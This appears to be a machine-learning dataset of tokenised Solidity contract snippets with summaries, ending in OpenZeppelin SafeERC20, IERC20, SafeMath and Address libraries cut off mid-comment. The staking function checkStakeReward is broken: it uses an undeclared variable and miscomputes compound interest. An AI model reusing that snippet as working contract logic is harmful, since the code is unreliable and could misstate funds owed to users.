[ 1, 986, 394, 8239, 225, 13667, 6622, 278, 2502, 225, 13067, 37, 5235, 434, 13067, 37, 225, 13067, 38, 5235, 434, 13067, 38, 225, 3844, 16811, 434, 17605, 1345, 225, 4889, 19166, 335, 608, 4889, 261, 3767, 300, 6895, 563, 16, 629, 300, 6092, 563, 13, 225, 5971, 19166, 2228, 11784, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 14491, 12, 203, 3639, 6622, 278, 2502, 13667, 16, 203, 3639, 2874, 12, 2867, 516, 2254, 5034, 13, 2502, 13067, 37, 16, 203, 3639, 2874, 12, 2867, 516, 2254, 5034, 13, 2502, 13067, 38, 16, 203, 3639, 2254, 5034, 3844, 16, 203, 3639, 1426, 4889, 16, 203, 3639, 1758, 5971, 203, 565, 262, 2713, 288, 203, 3639, 309, 261, 8949, 422, 374, 13, 288, 203, 5411, 15226, 7566, 6275, 39, 970, 1919, 7170, 8863, 203, 3639, 289, 203, 203, 3639, 6622, 278, 5664, 18, 3882, 278, 3778, 312, 273, 13667, 31, 203, 203, 3639, 309, 261, 2629, 18, 5508, 1545, 312, 18, 409, 20766, 4921, 13, 288, 203, 5411, 15226, 7566, 20766, 5027, 2520, 9430, 7395, 8863, 203, 3639, 289, 203, 203, 3639, 309, 261, 5564, 13, 288, 203, 5411, 13667, 18, 5564, 37, 1011, 3844, 31, 203, 5411, 13067, 37, 63, 24454, 65, 1011, 3844, 31, 203, 5411, 13667, 18, 5564, 38, 1011, 3844, 31, 203, 5411, 13067, 38, 63, 24454, 65, 1011, 3844, 31, 203, 3639, 289, 203, 203, 3639, 3626, 19166, 933, 12, 24454, 16, 4889, 16, 3844, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/4/0x3c33b02E0F55C0E26eb403A70c5670A53cbf4810/sources/CliqStaking.sol
this function is better to be called publicly, because we can make it external and thus cheaper for each period of days defined in the package, compound the interest
function checkStakeReward(address _address, uint256 stakeIndex) external view returns (uint256) { require( stakes[_address][stakeIndex]._amount > 0, "The stake you are searching for is not defined" ); uint256 currentTime = block.timestamp; uint256 stakingTime = stakes[_address][stakeIndex]._timestamp; uint256 daysLocked = packages[stakes[_address][stakeIndex]._packageName] ._daysLocked; uint256 packageInterest = packages[stakes[_address][stakeIndex] ._packageName] ._packageInterest; uint256 timeDiff = currentTime.sub(stakingTime); require(timeDiff > 0, "Staking time cannot be later than current time"); uint256 yieldReward = 0; uint256 totalStake = stakes[_address][stakeIndex]._amount; while (yieldPeriods > 0) { uint256 currentReward = totalStake.add( totalStake.mul(packageInterest).div(100) ); yieldReward = yieldReward.add(currentReward); totalStake = totalStake.add(yieldReward); yieldPeriods--; } return yieldReward; }
8,672,747
[ 1, 2211, 445, 353, 7844, 358, 506, 2566, 1071, 715, 16, 2724, 732, 848, 1221, 518, 3903, 471, 12493, 19315, 7294, 364, 1517, 3879, 434, 4681, 2553, 316, 326, 2181, 16, 11360, 326, 16513, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 866, 510, 911, 17631, 1060, 12, 2867, 389, 2867, 16, 2254, 5034, 384, 911, 1016, 13, 203, 3639, 3903, 203, 3639, 1476, 203, 3639, 1135, 261, 11890, 5034, 13, 203, 565, 288, 203, 3639, 2583, 12, 203, 5411, 384, 3223, 63, 67, 2867, 6362, 334, 911, 1016, 65, 6315, 8949, 405, 374, 16, 203, 5411, 315, 1986, 384, 911, 1846, 854, 15300, 364, 353, 486, 2553, 6, 203, 3639, 11272, 203, 3639, 2254, 5034, 6680, 273, 1203, 18, 5508, 31, 203, 3639, 2254, 5034, 384, 6159, 950, 273, 384, 3223, 63, 67, 2867, 6362, 334, 911, 1016, 65, 6315, 5508, 31, 203, 3639, 2254, 5034, 4681, 8966, 273, 5907, 63, 334, 3223, 63, 67, 2867, 6362, 334, 911, 1016, 65, 6315, 5610, 461, 65, 203, 5411, 263, 67, 9810, 8966, 31, 203, 3639, 2254, 5034, 2181, 29281, 273, 5907, 63, 334, 3223, 63, 67, 2867, 6362, 334, 911, 1016, 65, 203, 5411, 263, 67, 5610, 461, 65, 203, 5411, 263, 67, 5610, 29281, 31, 203, 203, 3639, 2254, 5034, 813, 5938, 273, 6680, 18, 1717, 12, 334, 6159, 950, 1769, 203, 3639, 2583, 12, 957, 5938, 405, 374, 16, 315, 510, 6159, 813, 2780, 506, 5137, 2353, 783, 813, 8863, 203, 203, 203, 3639, 2254, 5034, 2824, 17631, 1060, 273, 374, 31, 203, 3639, 2254, 5034, 2078, 510, 911, 273, 384, 3223, 63, 67, 2867, 6362, 334, 911, 1016, 65, 6315, 8949, 31, 203, 203, 3639, 1323, 261, 23604, 30807, 405, 374, 13, 288, 203, 5411, 2254, 5034, 783, 17631, 1060, 273, 2 ]
./full_match/4/0x805f20F38Aba8D3Ee15B50d634913d06Bf88BE5e/sources/contracts/1_Client.sol
* @title Storage @dev Store & retrieve value in a variable/
contract Client { address payable owner; ERC20Upgradeable erc20; function transfer( address payable _protocol, uint256 _amount) external payable { erc20 = ERC20Upgradeable(0xcc54b12a18f2C575CA97991046090f43C3070aA0); erc20.approve(_protocol, _amount); erc20.transfer(_protocol, _amount); } function receive(uint256 _amount) payable public { erc20.transferFrom(msg.sender,address(this), _amount); } function getBalance() public returns(uint256){ return erc20.balanceOf(address(this)); } }
12,307,804
[ 1, 3245, 225, 4994, 473, 4614, 460, 316, 279, 2190, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 2445, 288, 203, 377, 203, 565, 1758, 8843, 429, 3410, 31, 203, 565, 4232, 39, 3462, 10784, 429, 6445, 71, 3462, 31, 203, 203, 565, 445, 7412, 12, 225, 1758, 8843, 429, 389, 8373, 16, 7010, 203, 13491, 2254, 5034, 389, 8949, 13, 3903, 8843, 429, 288, 203, 3639, 6445, 71, 3462, 273, 4232, 39, 3462, 10784, 429, 12, 20, 92, 952, 6564, 70, 2138, 69, 2643, 74, 22, 39, 25, 5877, 3587, 10580, 2733, 21869, 4848, 9349, 74, 8942, 39, 5082, 7301, 69, 37, 20, 1769, 203, 3639, 6445, 71, 3462, 18, 12908, 537, 24899, 8373, 16, 389, 8949, 1769, 203, 3639, 6445, 71, 3462, 18, 13866, 24899, 8373, 16, 389, 8949, 1769, 203, 565, 289, 203, 377, 203, 565, 445, 6798, 12, 11890, 5034, 389, 8949, 13, 8843, 429, 1071, 288, 203, 3639, 6445, 71, 3462, 18, 13866, 1265, 12, 3576, 18, 15330, 16, 2867, 12, 2211, 3631, 389, 8949, 1769, 203, 565, 289, 203, 377, 203, 565, 445, 2882, 6112, 1435, 1071, 1135, 12, 11890, 5034, 15329, 203, 3639, 327, 6445, 71, 3462, 18, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 565, 289, 203, 203, 97, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** * Decides EvalTestA(EvalTestA,a,b). */ function decideEvalTestA(bytes[] memory _inputs, bytes[] memory _witness) public view returns (bool) { // And logical connective bytes[] memory childInputs0 = new bytes[](1); childInputs0[0] = _inputs[0]; require( AtomicPredicate(Foo).decide(childInputs0), "Foo must be true" ); require(adjudicationContract.isDecidedById(keccak256(_inputs[1]))); return true; }
* Decides EvalTestA(EvalTestA,a,b)./ And logical connective
function decideEvalTestA(bytes[] memory _inputs, bytes[] memory _witness) public view returns (bool) { bytes[] memory childInputs0 = new bytes[](1); childInputs0[0] = _inputs[0]; require( AtomicPredicate(Foo).decide(childInputs0), "Foo must be true" ); require(adjudicationContract.isDecidedById(keccak256(_inputs[1]))); return true; }
12,915,086
[ 1, 1799, 4369, 13163, 4709, 37, 12, 13904, 4709, 37, 16, 69, 16, 70, 2934, 19, 7835, 6374, 3077, 688, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 16288, 13904, 4709, 37, 12, 3890, 8526, 3778, 389, 10029, 16, 1731, 8526, 3778, 389, 91, 9746, 13, 1071, 1476, 1135, 261, 6430, 13, 288, 203, 203, 3639, 1731, 8526, 3778, 1151, 10059, 20, 273, 394, 1731, 8526, 12, 21, 1769, 203, 3639, 1151, 10059, 20, 63, 20, 65, 273, 389, 10029, 63, 20, 15533, 203, 3639, 2583, 12, 203, 5411, 11553, 8634, 12, 42, 5161, 2934, 4924, 831, 12, 3624, 10059, 20, 3631, 203, 5411, 315, 42, 5161, 1297, 506, 638, 6, 203, 3639, 11272, 203, 203, 203, 3639, 2583, 12, 13829, 1100, 829, 8924, 18, 291, 1799, 13898, 5132, 12, 79, 24410, 581, 5034, 24899, 10029, 63, 21, 22643, 1769, 203, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//SPDX-License-Identifier: Unlicense pragma solidity 0.6.11; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract AirdropPush { using SafeERC20 for IERC20; function distribute( IERC20 token, address[] calldata accounts, uint256[] calldata amounts ) external { require(accounts.length == amounts.length, "LENGTH_MISMATCH"); for (uint256 i = 0; i < accounts.length; i++) { token.safeTransferFrom(msg.sender, accounts[i], amounts[i]); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * 